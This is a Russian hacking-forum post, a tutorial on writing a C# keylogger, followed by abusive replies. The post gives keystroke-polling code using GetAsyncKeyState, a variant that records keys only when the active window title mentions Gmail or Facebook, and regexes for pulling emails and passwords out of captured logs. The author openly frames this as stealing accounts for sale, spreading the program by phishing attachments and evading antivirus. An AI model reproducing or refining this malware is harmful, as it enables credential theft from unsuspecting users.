Загрузка...

Пишем свой KeyLogger

Тема в разделе Вирусология создана пользователем shkila 6 мар 2021. 779 просмотров

Загрузка...
  1. shkila
    shkila Автор темы 6 мар 2021 Steam Guard https://zelenka.guru/threads/3678185/ 3524 27 авг 2020
    Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпроментированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.

    [IMG]
    Начнем.

    Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:

    Код
    1. [DllImport("user32.dll")]
    2.
    3. public static extern int GetAsyncKeyState(Int32 i);
    Вы можете изучить больше про фунцию GetAsyncKeyState на сайте MDSN:
    Для понимания: эта функция определяет нажата клавиша или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:

    Код
    1. while (true)
    2. {
    3. Thread.Sleep(100);
    4. for (Int32 i = 0; i < 255; i++)
    5. {
    6. int state = GetAsyncKeyState(i);
    7. if (state == 1 || state == -32767)
    8. {
    9. Console.WriteLine((Keys)i);
    10.
    11. }
    12. }
    13. }
    Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), то сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.

    Умный кейлогер

    А есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
    Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.

    Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.

    Вторая версия кода:

    Код
    1. while (true)
    2. {
    3. IntPtr handle = GetForegroundWindow();
    4. if (GetWindowText(handle, buff, chars) > 0)
    5. {
    6. string line = buff.ToString();
    7. if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up "))
    8. {
    9. //проверка клавиатуры
    10. }
    11. }
    12. Thread.Sleep(100);
    13. }
    Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow. Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.

    Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.

    Более умный кейлогер

    Предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам.

    Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:

    Код
    1. //Ищем почтовый адрес
    2. ^[\w!#$%&'*+\-/=?\^_{|}~]+(\.[\w!#$%&'*+\-/=?\^_{|}~]+)*@((([\-\w]+\.)+[a-zA-Z]{2,4})|(([0-9]{1,3}\.){3}[0-9]{1,3}))$
    3.
    4.
    5. //Ищем пароль
    6. (?=^.{6,}$)(?=.*\d)(?=.*[a-zA-Z])
    Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно найти любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
    Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.

    Для C# это выглядит так:

    Код
    1. Regex re = new Regex(@"^[\w!#$%&amp;'*+\-/=?\^_{|}~]+(\.[\w!#$%&amp;'*+\-/=?\^_{|}~]+)*@((([\-\w]+\.)+[a-zA-Z]{2,4})|(([0-9]{1,3}\.){3}[0-9]{1,3}))$");
    2. Regex re2 = new Regex(@"(?=^.{6,}$)(?=.*\d)(?=.*[a-zA-Z])");
    3. string email = "Oded.awask@gmail.com";
    4. string pass = "abcde3FG";
    5. Match result = re.Match(email);
    6. Match result2 = re2.Match(pass);
    Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро-буквенной конструкции больше 6 символов.

    Использование

    Если бы я был злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил бы код для соответствия этим целям. Конечно, также, можно запустить ******овую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.

    [IMG]

    Антивирус

    Я скомпилировал мой код и проверил .exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Ничего не нашлось.
     
    6 мар 2021 Изменено
  2. CoderVir
    паста с хабра. С ав ты далеко не уйдёшь.
    --- Сообщение объединено с предыдущим 14 мар 2021
    [IMG] ну ну
    --- Сообщение объединено с предыдущим 14 мар 2021
    далеко не уйдёшь.
     
    1. Посмотреть предыдущие комментарии (1)
    2. CoderVir
      ferik, а ты новокек ебучий, походу мои статьи не видел.
    3. ferik
      @CoderVir, да иди нахуй высер
Top